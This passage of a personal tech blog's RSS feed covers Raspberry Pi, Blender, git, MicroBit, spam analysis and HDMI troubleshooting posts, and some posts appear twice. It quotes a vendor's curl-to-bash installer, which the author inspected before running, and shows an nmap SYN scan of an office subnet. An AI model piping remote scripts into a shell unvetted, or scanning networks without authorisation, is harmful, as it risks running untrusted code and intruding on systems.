sudo apt-get install python-imaging</code>
but also needed
<code>sudo pip install numpy
sudo apt-get install ttf-wqy-zenhei
</code>

Finally we can build and run the demos.
<code>cd code/
cd RaspberryPi/
cd bcm2835/
make
sudo main</code>

This shows a few bits of text, a mini logo and then a full screen image of Sponge Bob Squarepants.

<code>cd ..
cd wiringPi/
rm main
make
sudo main</code>

exactly the same as the last demo.

<code>cd ../python/
sudo python main.py</code>
Shows some text and then a large logo.

Now what?
Change the [em]pic.jpg[/em] in the python folder to a 240x240 JPG of my own design. Created in GIMP.
<img src="images/RoE240x240.jpg" alt="Rob on Earth 240x240 logo">

Overall it was a bit of a pain to get working, but for the price I think it is a really nice, fun package.
In my non scientific Python based tests I got [em]4 fps[/em]. I did try and use the the non Python code to do the same but crashed the display, which the manual warns you about if you are trying to mix Python bcm2835 and wireingpi. Reboot fixed it.
</description>
</item>
<item>
<title>uv project from view broken down just for youtubers</title>
<pubDate>Tue, 09 Apr 2019 22:50:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p090420192250</link>
<description>
Apology to anyone who has already seen this on [url title="YouTube"]https://youtu.be/iScgrld26AI[/url] and came here to find out more, I got distracted ;)

<iframe width="560" height="315" src="https://www.youtube.com/embed/iScgrld26AI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

I had been thinking about this idea for a couple of years and just never got around to to trying. To be fair, I was not 100% sure it would work.

The basics are simply take a Mesh in Blender and [em]UV unwrap[/em] it using the [em]Project from View[/em] method. Once this is done wiring up an image texture will appear as if the view/camera is projecting the image directly onto the Mesh.

I think there maybe some more stuff I can do with this, but for this experiment I wanted to run a physics simulation, wait until all the Meshes were settled and then [em]UV unwrap[/em] using [em]Project from View[/em].

Playing back the simulation would appear confusing from a texture point of view until, once again the Meshes settled.

Obviously the Camera had to be in the same position it had been when the [em]UV unwrap[/em] using [em]Project from View[/em] had been used, but I got tripped up on one other thing.

ENTROPY!

Blender's physics has random variations that are often very subtle. I would [em]UV unwrap[/em] using [em]Project from View[/em] on a completed simulation, only to run it again and find Meshes in slightly different/wrong places, breaking the illusion. This fix was to Bake the physics so nothing changed the route each Mesh would take.

I did wonder if this needed a full tutorial with voice over, like my [url title="light titles video"]/flog/Jul2018.html#p050720182157[/url]. In the end I opted just for this demonstration as it is unlikely many people will want to replicate it.

I got use my [url title="The Persistence of Pi"]images/dali-pi-pis.jpg[/url] image as the texture. This worked really well due to the mix of colours and textures.

I rendered the bowl separately as a single image with and without the UV and then used the VSE to combine the results without having to render the results twice(it took a while at 1920x1080). This caused an issue with the ball animation overlapping the bowls. So, I rendered a separate image for the front side of the bowl, with and without the UV. With this set as the top most layer, you believe the result is a fully rendered simulation in a bowl.

To emphasise the experience I created an animation and used that as an Image sequence as the UV Texture. This time the Camera changes position, trying to show the Image Sequence is not a Lamp projecting the Texture. That is why the plane flies across the simulation. No, I do not think it worked out particularly well :(

Did have a lot of fun making the animation though. Blender Text as a closed and Extruded Mesh with an Emitter set to Grid and Volume. It needed a few tweaks, but then the Glare/Ghosts Node in the Compositor made it come to life.

Now, [em]UV unwrap[/em] using [em]Project from View[/em] on each Mesh might have been feasible with the 32, but the dropping blocks animation has 200 Meshes. We need a touch of Automation.

[url title="Blender UV unwrap Project from View selected objects script"]https://gist.github.com/robgithub/d5045fac793102549b11d88c7122080a[/url]
(Gist created with [url]https://github.com/ceremcem/create-gist/blob/master/create-gist.sh[/url])

and as with my previous Blender scriptings, very little is written by me. It basically loops through all the selected objects and for each Mesh runs a method. This "unwrap_from_view(TARGET)" sets the Mode and the Selection(for UV unwrapping) then tries to find;

All the Windows and associated Screens
All the Areas that are set as 3D view
All the Regions that are type Window

and use that information to create a Context that can be passed to [em]bpy.ops.uv.project_from_view[/em] as an override to default context.

Contexts are a big deal in Blender scripting and I would have never been able to decipher all that by myself. Luckily the internet provides :D

The [em]bpy.ops.uv.project_from_view[/em] wants the user to be clicking the Unwrap selection from a 3D window, that's how it knows which view to set the UV projection from. For my script I fake all that and force it to unwrap for EVERY 3D view, so it is best to only have one :)

It is a fun effect and even more so for being automated.
</description>
</item>
<item>
<title>completed undershelf lighting project</title>
<pubDate>Mon, 08 Apr 2019 10:41:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p080420191041</link>
<description>
Completed what I needed for my under shelf lighting with the Pimoroni Mote set

code [url]https://github.com/robgithub/undershelflighting[/url]

Few notes;

The Mote sticks with the USB cables plugged in are flush to the surface. I spent ages trying to over hang the plug thinking it was thicker than the Mote stick.

I created all the code(see above) to allow me to set-and-forget the state of the Mote sticks, but on reflection I may just opt for the web based server in the examples.

The Mote state is stored in a Python [em]pickle[/em] (read serialised binary file)

Brightness is not something that can trivially be set for non white LEDS. Would have been nice to add to my code, but completely over the top vs time.

I want to link the Mote sticks to my trusty toilet roll camera
<img src="images/pircamera.jpg" alt="photo of rasperry pi with camera in toilet roll">

not sure when that is going to happen.

Just chill'n with my lights now :)
</description>
</item>
<item>
<title>reference</title>
<pubDate>Mon, 08 Apr 2019 10:22:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p080420191022</link>
<description>
My reference for creating a GitHub fork of an open source project, creating a branch and submitting a Pull request.
This example is to create the branch fixgetpixeluse for the Pimoroni Mote

Got to source repo and create fork on GitHub

Clone the fork locally
<code>
git clone https://github.com/robgithub/mote.git
</code>

Enter the project folder
<code>
cd mote/
</code>

Checkout the master branch
<code>
git checkout master
</code>

Create a new branch to work on
<code>
git branch fixgetpixeluse
git checkout fixgetpixeluse
</code>

Do work

Check work into branch
<code>
git add *; git commit -m "Added brightness parameter as fix"
</code>

Push change to my fork
<code>
git push --set-upstream origin fixgetpixeluse
</code>

Goto GitHub and source repo and create Pull request.

...

Profit! (it is a relative term when it comes to open source, if everyone gets the benefit)
</description>
</item>
<item>
<title>the simple things in life are not in the kernel sources</title>
<pubDate>Fri, 05 Apr 2019 15:00:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p050420191500</link>
<description>
I ended the [url title="last post"]file:///home/rednuht/projects/flog/Apr2019.html#p040420192306[/url] with the words "nothing is ever simple" ... or is it?

First up; it turns out no one can clone the kernel sources on a Raspberry Pi, runs out of RAM. There are options to fake extra RAM, but in the end I downloaded the .ZIP from github.

The download took about 20 seconds, but unzipping then took about five minutes. Well there are 62,223 files in there :D

Found the reference to "Indeed it is in host mode", but the number 00041d01 is just the port descriptor.

Then I went back to trying to disable OTG ...

<code class="output">
linux-rpi-4.19.y/drivers/usb/host/dwc_otg/dwc_otg_driver.c
</code>
has a kernel parameter dwc_otg.cap which can be set to None, so lets try that.
<code>
sudo vi /boot/cmdline.txt
</code>
<code class="output">
dwc_otg.cap=2 dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=PARTUUID=3ae9fe6d-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait
</code>
reboot and .....

<code class="output">
Indeed it is in host mode hprt0 = 00021d01
</code>

which should mean it works, but no devices in lsusb and no errors :(

Wait a minute. The Mote LED sticks are attached by USB micro cables. I wonder ...

That worked, so in the end all I need to do is order and extra cable :(
[url]https://shop.pimoroni.com/products/mote-module-cable[/url]

Feel stupid much?

Now I have to write my state based LED control tools and mount the sticks under my shelves.
</description>
</item>
<item>
<title>into the pi mote badger set never to return</title>
<pubDate>Thu, 04 Apr 2019 23:06:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2019.html#p040420192306</link>
<description>
I Got a [url title="Pimoroni Mote kit"]https://shop.pimoroni.com/products/mote[/url] and now I am downloading the Raspberry Pi Kernel sources.

What? Why?

Well, are you sitting comfortably, because this is going to take a while...

I recovered a Pi Zero W from my [url title="unused/unloved super computer"]/flog/Mar2018.html#p030320181320[/url] with 16gb sd card.

Flashed the latest Raspbian lite onto it.
<code>
time dd bs=4M if=/home/user/2018-11-13-raspbian-stretch-lite.img of=/dev/sdd status=progress conv=fsync
</code>
<code class="output">
1866465280 bytes (1.9 GB, 1.7 GiB) copied, 131 s, 14.2 MB/s
445+0 records in
445+0 records out
1866465280 bytes (1.9 GB, 1.7 GiB) copied, 190.474 s, 9.8 MB/s

real	3m10.651s
user	0m0.010s
sys	0m2.744s
</code>
(destination drive /dev/sdd not partition)

mounted the sd card and setup wifi
<code>
cp wpa_supplicant.conf /mnt/sdd2/etc/wpa_supplicant/wpa_supplicant.conf
</code>
(destination second partition)

Setup hostname
<code>
echo "pimote" > /mnt/sdd2/etc/hostname
</code>
(destination second partition)

Enabled ssh
<code>
touch /mnt/sdd2/.ssh
touch /mnt/sdd2/ssh
touch /mnt/sdd1/ssh
</code>
(destination first partition)

.ssh is the local users ssh folder and /mnt/sdd2/ssh is not read on boot up. So after a few false starts that last one enable ssh.

<code>
ping pimote
ssh pi@pimote
</code>
It lives!

A quick peruse of [url title="Pimoroni's Getting started guide"]https://learn.pimoroni.com/tutorial/sandyj/getting-started-with-mote[/url] and it was, on with the show.

If you trust Pimoroni then the next step is pipe a script to Bash
<code>
curl https://get.pimoroni.com/mote | bash
</code>
I, instead downloaded the mote file and had a look through. 1120 lines later and I was convinced it was just boiler plate installer stuff.

It ran for a while downloading and installing stuff and I opted for the extra examples and documentation.

There are few different Python scripts in the examples folder including one called [em]test.py[/em] which seemed the best to try first... and it errored :(

The other scripts run without issue and showed a bright colourful light show. Very bright! and that was without the option external power supply!

At this point I wanted to know why [em]test.py[/em] failed while all the other scripts worked.

and down the rabbit hole I went(Part 1)

<code class="output">
Traceback (most recent call last): File "test.py", line 41, in <module> r, g, b = [int(c * 0.99) for c in mote.get_pixel(channel + 1, pixel)] ValueError: too many values to unpack
</code>

It took a while, but I found by trial and error commenting out lines and swapping things about that the line mentioned expected three values to be returned (r,g,b), but was returning four.

This was duplicated in the module itself, where it had the same code as an internal test.

I then cloned the Pimoroni repo

setup git

made the change and tested it 

sent a pull request
https://github.com/pimoroni/mote/pull/28

and in theory the Pimoroni staff can accept my fix and no one else will be effected in the future.

Hooray for Open Source!!

But why are you downloading the Kernel sources if it was all fixed?

So, at this point I had code that changed the Mote colours on all four sticks and when the program ended the Mote sticks stayed lit.

I coded a very quick Python script that accepted a --stick parameter along with --red --green and --blue. 

Tested stick one worked perfectly. Tested stick two and not so good, same with three and four :(

After quite a bit of debugging and trying different ways to do the same thing I read the docs...
[url]http://docs.pimoroni.com/mote/_modules/mote.html#[/url]
which refused to scroll in FireFox, so I then had to report that(also tried debugging, seems to be out of date jQuery library)

Which lead me to reading the Mote module source and learning that the Mote supports 1-4 Mote sticks, but does not address them separately.

When sending colour information to the sticks that data is a serial blob/buffer that includes one sticks worth if you are only using the FIRST stick, two for the first two, and so on. So to change stick four to Red you have to include buffer data for sticks 1,2 and 3 as well!

Drat! I wanted to set them and exit independently.

I resigned myself to having to write a status store so and updates would include the already set sticks as well and moved onto where to mount the lights in my shelves.

Rather than a rabbit hole this next one is a badger's set.

The Raspberry Pi Zero has a USB Micro B socket and the Mote cable is USB Type A. I had added an adaptor and the Mote worked. Now I want to be rid of the ugly, fat adaptor (that was pushing my power cable).

There is no such thing as a USB Micro B male to Micro B male cable anywhere to be found other than an OTG cable. How different can it be?
[url title="Google USB OTG wiring"]https://www.google.com/search?q=usb+otg+wiring[/url]

and the cable I got delivered did not work :(

But wait! The Pi sees the cable connection. Maybe I can convince it to disable the OTG and just work with USB?

no and I can find no one in the world who has ever tried this.

<code class="output">
Indeed it is in host mode hprt0 = 00041d01
</code>

So now I am trying to find out what 00041d01 means, but the cloning the kernel sources is not working out so well.
<code>
pi@pimote:~/src $ git clone https://github.com/raspberrypi/linux.git
</code>
<code class="output">
Cloning into 'linux'...
remote: Enumerating objects: 6950699, done.
error: index-pack died of signal 9950699), 1.90 GiB | 16.00 KiB/s      
fatal: index-pack failed
</code>

nothing is ever simple.
</description>
</item>
<item>
<title>nmap fights virtualbox on windows and nic wins</title>
<pubDate>Wed, 27 Mar 2019 23:06:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p270320192306</link>
<description>
You remember the [url title="One True Ping"]/flog/Jul2018.html#p050720182213[/url]?

Well [em]nmap[/em], popular network scanner has always given me problems in the same environment. Linux [em]nmap[/em] on other networks, fine, but Windows in the managed office always did something weird.

Running [em]nmap[/em] from WSL still does not work, but that is for everybody. So I tried running it from [em]zenmap As Administrator[/em], more weirdness. Would seem to be scanning the right things but would come back with only a couple of machines or ports.

Today I fought, and won!

It had to be;
The network ~ as with the UDP ports
Windows - Firewall or UAC
nmap/zenmap - bug, PCAP, etc.

and the culprit was ...

[em]VirtualBox[/em]! Well, it was the many contributor. The actual issue was with [em]nmap[/em].

When you run [em]nmap[/em]/[em]zenmap[/em] it selects the best NIC to send the packets over. Only in my case the guess was wrong because(even though it was not running) [em]VirtualBox[/em] had created a virtual NIC that looked better than my real Network Interface Card.

Issue diagnosed. Fix is to tell [em]nmap[/em]/[em]zenmap[/em] to use the correct NIC device name... But Windows does not do device names...

run
<code>nmap --iflist</code>
Which filled the terminal with a lot of networking information. But nestled in amongst was an reference to my IP address [em]eth4[/em]

So now running
<code>nmap -e eth4 -sS -p 22 10.10.105.0/24</code>

now works 100%
</description>
</item>
<item>
<title>one small pull request for quest smith one giat leap for robgithub</title>
<pubDate>Sun, 24 Mar 2019 20:17:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p240320192017</link>
<description>
Finally finished the [url title="Quest Smith Interactive Web Interface"]/flog/Mar2019.html#p180320192349[/url] and created a Pull request.

The author may have any of the following reactions.
Disgust - goes against the idea of having a thermal printer based adventure.
Apathy - general disinterest in this or the main project.
Concern - you have enable GitHub Pages(All) - which is in no way a security risk, but if you have never come across it might seem odd.
Acceptance - a Pull request is a Pull request.
Enthusiasm - what a good idea - will lead to more engagement with the project.

Or a mixture :)
</description>
</item>
<item>
<title>random blender textures through the magic of logic gates</title>
<pubDate>Sun, 24 Mar 2019 14:58:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p240320191458</link>
<description>
Quick Blender Shiny!

Was trying to work out a logical way of using Blender's [em]Object-&gt; Random Input Node[/em] to drive random [em]Texture Node[/em] choices and after a few false starts ended up with.
<img src="images/random_textures_logic_test.002.png" alt="Blender node setup for random textures, represented as colours" >

And applied to a 10x10x10 array of [em]Cubes[/em]. [em]Array Modifiers[/em] applied and then [em]Separate -&gt; By Loose Parts[/em].

<img src="images/random_texture_experiments_smallx0.25.png" alt="Blender node for random textures, represented as colours render in 1000 cube array" >

The use of [em]BSDF[/em] colours is just for simplicity and any shaders can be used in their place. Including [em]Image Textures[/em] and anything that results in a [em]Shader[/em] output. 

It looks really simple, but I and others have tried previously and ended up with much more complex monstrosities.

The first problem was, that in my head [em]Less Than[/em] would let through any value less than [em]Value[/em]. This imaginary passed-through value would then be checked with a [em]Greater Than[/em]. The annoying thing was lots of my example values and experiments supported this, but that was pure coincidence and confirmation bias.

FYI, the [em]Object -&gt; Random Input Node[/em] produces a single value for each [em]Object[/em].

In the first [em]Less Than Node[/em] any [em]Value[/em] between 0.0 - 0.199 will result in an output of [em]1.0[/em] or [em]True[/em], any value higher is [em]0.0[/em] or [em]False[/em]. This means the [em]Blue BSDF Shader[/em] is [em]Mixed[/em] in 100% when the [em]True[/em] and 0% when [em]False[/em], resulting in the [em]Light Blue BSDF Shader[/em].

Then in the other [em]Less Than Nodes[/em] the process continues and it is very important to keep the order of the connected [em]Mix Shaders[/em] consistent. I think this is what went wrong so badly in my experiments. Does not help that Blender cannot colour the connection lines.

This [em]Truth Table[/em] shows the [em]Inputs[/em] at the top, the [em]Results[/em] at the bottom and the Logic results per [em]Less Than[/em] test. The [em]Hashed[/em] colours are where the last colour has "fallen through" instead of being replaced.
<img src="images/blender_random_texture_truthtable.png" alt="truth table for Blender nodes example" >

e.g.
If the random input is 0.56 then
is 0.56 < 0.2 = [em]False[/em] = Blue chosen from Light Blue and Blue
is 0.56 < 0.4 = [em]False[/em] = Pink chosen from Blue and Pink
is 0.56 < 0.6 = [em]True[/em] = Pink chosen from Orange and Pink
is 0.56 < 0.8 = [em]True[/em] = Pink chosen from Green and Pink  

If the random input is 0.91 then
is 0.91 < 0.2 = [em]False[/em] = Blue chosen from Light Blue and Blue
is 0.91 < 0.4 = [em]False[/em] = Pink chosen from Blue and Pink
is 0.91 < 0.6 = [em]False[/em] = Orange chosen from Orange and Pink
is 0.91 < 0.8 = [em]False[/em] = Green chosen from Green and Orange  

Adding more textures just means adding additional [em]Less Than[/em] logic [em]Nodes[/em] and updating the comparison values.
</description>
</item>
<item>
<title>quest for the missing game url</title>
<pubDate>Mon, 18 Mar 2019 23:58:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p180320192358</link>
<description>
and here is the missing PLAY NOW url

[url]https://robgithub.github.io/quest_smith/web/quest.html[/url]
</description>
</item>
<item>
<title>where was the quest url</title>
<pubDate>Mon, 18 Mar 2019 23:56:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p180320192356</link>
<description>
So the [url title="Raspberry Pi Blog"]https://www.raspberrypi.org/blog/[/url] posted an [url title="article"]https://www.raspberrypi.org/blog/handheld-text-based-adventure-gaming-with-quest-smith/[/url] about a thermal printer powered Pi text adventure game.

The author put out a plea
<code class="output">Each level requires two versions of the story, which makes the 
possibilities grow exponentially. So it will be very difficult for me to
finish a single story by myself. For the player to reach level 9, we will 
need to have 1023 story parts to be written. If you can help me with 
that, it would be amazing!</code>

The story files are just plain text files, but I did not have a thermal printer to try it out on...

So the story TXT files are in GitHub. I wonder if they are accessible from the [url title="GitHub Pages"]https://pages.github.com/[/url] ?

They are ! (just have to set the settings on your repo correctly)

I forked the project and got to work creating a simple Javascript based web interface that could run directly on [url title="GitHub Pages"]https://pages.github.com/[/url] and allow the user to interact with the story files.

Today it works fine in a desktop browser. Before I try and get it merged back in to the origin repo I want to add specific functionality for Mobile. Nothing to fancy just better styling for Mobile layout.

[url]https://github.com/robgithub/quest_smith[/url]
</description>
</item>
<item>
<title>quest for the mobile git smith</title>
<pubDate>Mon, 18 Mar 2019 23:49:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p180320192349</link>
<description>
So the [url title="Raspberry Pi Blog"]https://www.raspberrypi.org/blog/[/url] posted an [url title="article"]https://www.raspberrypi.org/blog/handheld-text-based-adventure-gaming-with-quest-smith/[/url] about a thermal printer powered Pi text adventure game.

The author put out a plea
<code class="output">Each level requires two versions of the story, which makes the 
possibilities grow exponentially. So it will be very difficult for me to
finish a single story by myself. For the player to reach level 9, we will 
need to have 1023 story parts to be written. If you can help me with 
that, it would be amazing!</code>

The story files are just plain text files, but I did not have a thermal printer to try it out on...

So the story TXT files are in GitHub. I wonder if they are accessible from the [url title="GitHub Pages"]https://pages.github.com/[/url] ?

They are ! (just have to set the settings on your repo correctly)

I forked the project and got to work creating a simple Javascript based web interface that could run directly on [url title="GitHub Pages"]https://pages.github.com/[/url] and allow the user to interact with the story files.

Today it works fine in a desktop browser. Before I try and get it merged back in to the origin repo I want to add specific functionality for Mobile. Nothing to fancy just better styling for Mobile layout.

[url]https://github.com/robgithub/quest_smith[/url]
</description>
</item>
<item>
<title>a little bit of offline microbit python</title>
<pubDate>Mon, 18 Mar 2019 23:26:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p180320192326</link>
<description>
Next on the MicroBit coding front is [url]https://python.microbit.org/v/1.1[/url]

The way it works is the same, but instead of building with Blocks you use Python code. You then download the generated .hex file and away you go.
Sadly there is no real-time simulator, so expect to get "Syntax Error" scrolling on your MicroBit every now and then.

This is better than having the Microsoft logo hanging over you but I still long for an offline editor...

Welcome uflash (which is not you-flash but micro-flash)
[url]https://github.com/ntoll/uflash[/url]

To get uflash on Ubuntu I  had to
<code>sudo apt install python-pip
pip install uflash
</code>
and then to find where the install had gone, because it was not in my path.
<code>pip show uflash</code>
<code class="output">Name: uflash
Version: 1.2.4
Summary: A module and utility to flash Python onto the BBC micro:bit.
Home-page: https://github.com/ntoll/uflash
Author: Nicholas H.Tollervey
Author-email: ntoll@ntoll.org
License: MIT
Location: /home/ubuntu/.local/lib/python2.7/site-packages
Requires: 
</code>
Now, from within that directory I could run
<code>python uflash.py ~/Downloads/microbit.py
</code>
It happily found my MicroBit auto mounted to /media and flashed it.

According to the docs, it will happily flash multiple MicroBits connected to the same PC.
</description>
</item>
<item>
<title>MicroBit helloworld</title>
<pubDate>Sun, 10 Mar 2019 14:33:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p100320191433</link>
<description>
Got my first MicroBit code working.

Not very exciting and really only to prove the process. It just lights an LED on opposite corners.

But, the process is interesting.
The MicroBit shows up as a USB drive when plugged into a computer and then you can copy across a .hex (bin) file and it automatically loads it as the program. 
The program then just automatically runs.
Once the file has been transferred, it eats it, so make backups!

To create the .hex file there appear to be a number of options. I used the most basic, which is a Scratch-like block dragging website, powered and branded as Microsoft. 

I know it is irrational these days, but the Microsoft name/logo just puts me on edge. Need to find a way to code offline.

There is at least two other ways I know of to code for the MicroBit. Will give them a go soon.
</description>
</item>
<item>
<title>dd a drive not a partition</title>
<pubDate>Sat, 09 Mar 2019 22:25:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p090320192225</link>
<description>
Why do I always forget that when [em]dd[/em]-ing an .iso to a USB stick to use the drive and not the partition!

Hours wasted and this is not the first time!
</description>
</item>
<item>
<title>flub flog update</title>
<pubDate>Sat, 09 Mar 2019 19:29:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2019.html#p090320191929</link>
<description>
This a quick run down of various things going on at the moment;

I have been working on improving the Raspberry Pi materials in Blender and I have some plans to move that project forward.

Not done anything on the SV-3 VGA/HDMI situation, but the Pi Zero with adaptors sits on my desk so I cannot forget.

Got a massive haul of tech kit. Mostly for the Raspberry Pi, but also got a MicroBit and kit for that.

Then I found a git repo that needed cloning for a bit of tweaking.

Plus fighting Epsom printer drivers on Windows. Removing every piece of Epsom software fixed that!

Finally started decommissioning an old HP Windows 7 laptop. It is going to be my Ubuntu lab machine.

Digitised a load of old Sony handycam footage (in Windows 7), had no idea I had recorded so much, and so little.

and lots of other things ...
</description>
</item>
<item>
<title>git to github via existing local</title>
<pubDate>Sat, 16 Feb 2019 10:29:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p160220191029</link>
<description>
Very quickly, I wanted to note how the [url title="SpamDater Python code"]Feb2019.html#p160220191013[/url] got to [url title="GitHub"]https://github.com/robgithub/spamdater[/url].

I had discussed Git a few years back.

[url]May2013.html#030520132124[/url]
[url]May2013.html#030520132150[/url]
[url]May2015.html#p160520151101[/url]

But I could never work out how to take an existing project and add it to GitHub.

Step one; Create local git repo
<code>git init
git add -A
git commit -m "first commit"
</code>
Step two; Create new repo on GitHub and do not create any auto files.
Step three; Tell GitHub about the new code.
<code>git remote add origin https://github.com/robgithub/spamdater.git
git push -u origin master
</code>
easy peasy!

Really should do it more often ;)
</description>
</item>
<item>
<title>python ate my boring spam</title>
<pubDate>Sat, 16 Feb 2019 10:13:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p160220191013</link>
<description>
There was a [url title="massive data breach"]https://www.troyhunt.com/the-race-to-the-bottom-of-credential-stuffing-lists-and-collections-2-through-5-and-more/[/url] a couple of weeks ago and I decided to do some analysis on the spam I was getting.

I tell my ISP to not filter spam for me so SpamAssassin does all the work, shuffling it off into a special folder.

Most of the emails start with "Your account has been hacked" and "I wrote you this email from your account.". There is some variation, but not much and the FROM and TO addresses are the same.

As anyone who has dealt with emails on a technical level will tell you, it is very easy to spoof the FROM address. The protocol is designed to facilitate it. e.g. Company marketing Droid 1 sends you and 1000 others a spam/not-spam email, they will set the FROM address to be the company not themselves.

I had been seeing a lot of spam over the last few years degrading my email addresses. Dropping the first character, doubling the last, general bit rot. So I decided to do some investigations.

Started with bash script
<code>for F in *; do egrep "^(Date|Envelope-To):" $F | sed -re 's/(.+)[^0-9]:(.+)/"\2"/' | tr -d '\n' | sed -re 's/""/","/' | sed -re "s/$/\n/" >> stats.lst; done</code>

Which did a good try but missed lots of messy emails, so I wrote a Python script.

This started off very simple but more and more complex until I felt it needed it's own [url title="GitHub repo, SpamDater"]https://github.com/robgithub/spamdater[/url].

The idea was to get the email addresses and the dates the emails were sent. So, it had to collect all the unique email addresses to my domain, learned about Python sets and also the likely date the email was sent.

Dates are never easy but with a little regex magic and Python logic I was able to extract a reasonable date to pair with the email addresses.

and then...

Well it was a bit boring. The [url title="Massive data breach"]https://www.troyhunt.com/the-race-to-the-bottom-of-credential-stuffing-lists-and-collections-2-through-5-and-more/[/url] turned out to be more of a web site scraped email address list and the emails appeared to be minus bit-rot.

From 2011 to date, I was basing my research on 54849 emails (marked as spam)
of which my [url title="SpamDater"]https://github.com/robgithub/spamdater[/url] found 63331 emails
of which 1735 were unique.

One had a date of 1899 and a few hundred were just RANDOM-CHARACTERS@ my domain.

Did have fun writing the Python though;
:easy to understand command line arg parsing
:uses sets for uniqueness 
:regex search and findall 
:file reading line by line 
:file writing line by line 
:writes to stdout when no file requested.
</description>
</item>
<item>
<title>harry potter stuck at the top for 6 hours</title>
<pubDate>Sat, 16 Feb 2019 09:19:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p160220190919</link>
<description>
We went to see [url title="Harry Potter and the Cursed Child Parts 1 and 2"]https://www.harrypottertheplay.com[/url], which is a short six hour play continuing on from the last Harry Potter book/film.

The tickets had been booked a year in advance and to get special pricing the family was split up. I was in the Balcony at the top of the theatre.

<img src="images/harrypotterccp1and2.jpg" alt="harry potter CC top balcony map" >

I found this view a little un-nerving. While the house lights were up I felt serious vertigo. Mainly because of #1 in the photo above. The ceiling was below my eye line and really emphasised the drop.

However, once the house lights dropped I had no problem. There were opera glass to hire, but my eyesight was good enough.

The levels #2, #3, #4, #5 were all below us and gives you a taste for how many visitors were there (it was packed) and how high we were.

#6 is the visible part of the stage, ignoring the bars and peoples heads. #7 is the bit of the stage completely out of view, that was gratefully used only a couple times and I do not think I missed anything.

The main tag line for the play is "Keep the secrets" and I knew nothing going in and I am happy to #keepthesecrets to aid future visitors.

It was very very good and the programme had details from the books/films that visitors should be aware of to help them understand what was going on and who was who.

The six hours was split into two performances each with a 20 minute interval and each section was so involving that time whizzed by.

Very very worth while going (even being stuck at the top of the theatre)!
</description>
</item>
<item>
<title>doing right thing back fires on sv-3 investigation</title>
<pubDate>Mon, 11 Feb 2019 21:37:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p110220192137</link>
<description>
Then I made the fatal mistake of trying to work out what was going on.

I ran
<code>/opt/vc/bin/edidparser sv-3.edid.dat
/opt/vc/bin/edidparser sv-3.edid.dat
</code>

and got
<code>HDMI:EDID found monitor name descriptor tag 0xfc
HDMI:EDID monitor name is Acer_AL1916W
</code>
Which is the exact VGA monitor I am using!

Where did it get this information and, more importantly when will it lose it?
</description>
</item>
<item>
<title>good and bad sv-3 vga news</title>
<pubDate>Mon, 11 Feb 2019 21:29:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p110220192129</link>
<description>
In the [url title="last post"]Feb2019.html#p090220191128[/url] I laid out the basics of my plan, process and issue. This post is going to get into all the technical details.

So, plugging in the SV-3 to the Raspberry Pi, either pre or post boot did not work.

Plugging in the Raspberry Pi pre or post boot to a VGA monitor did work.

Unplugging the working VGA monitor and then plugging in the SV-3 did work.

Because of the last one, I know the settings are correct and the hardware was all compatible and working.

The settings I tried in [em]config.txt[/em]

[em]Safe mode[/em]: this overrides a number of settings and should give us the best chance.

<code># uncomment if you get no picture on HDMI for a default "safe" mode
hdmi_safe=1
</code>
<code class="output">
SV-3: No signal
Monitor: Signal
SV-3: Signal</code>

---STOP THE PRESSES---

As I was writing this up, I added a comment that the same result was obtained when cold booting the Pi rather that resetting it. But I had not done that, so I set it the scenario up expecting the same failure and ... it only worked.

So, all that palaver, including a massive posting to stackoverflow was a bit of a waste.

Got to think how I can use it now :)


For reference I previously used the following tools to try and resolve and diagnose the previous issues.

<code>
/opt/vc/bin/tvservice -m CEA

/opt/vc/bin/tvservice -s

/opt/vc/bin/tvservice -d edid.dat 

/opt/vc/bin/edidparser edid.dat 

get-edid

xrandr -q -d :0
</code>

Then these are the settings I tried in the [em]config.txt[/em]

<code>
hdmi_ignore_edid=0xa5000080

hdmi_edid_file=1    #file added to /boot/edid.dat

hdmi_group=1    #CEA
hdmi_mode=1     #VGA 640x480
hdmi_mode=2     #480p 
hdmi_mode=3     #480p H


hdmi_group=2    #DMT
hdmi_mode=4     #640x480 60 Hz
</code>
</description>
</item>
<item>
<title>sv-3 mountain sqaushed to a mole hill</title>
<pubDate>Mon, 11 Feb 2019 21:17:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2019.html#p110220192117</link>
<description>
In the [url title="last post"]Feb2019.html#p090220191128[/url] I laid out the basics of my plan, process and issue. This post is going to get into all the technical details.

So, plugging in the SV-3 to the Raspberry Pi, either pre or post boot did not work.

Plugging in the Raspberry Pi pre or post boot to a VGA monitor did work.

Unplugging the working VGA monitor and then plugging in the SV-3 did work.

Because of the last one, I know the settings are correct and the hardware was all compatible and working.

The settings I tried in [em]config.txt[/em]

[em]Safe mode[/em]: this overrides a number of settings and should give us the best chance.

<code># uncomment if you get no picture on HDMI for a default "safe" mode
hdmi_safe=1
</code>
<code class="output">
SV-3: No signal
Monitor: Signal
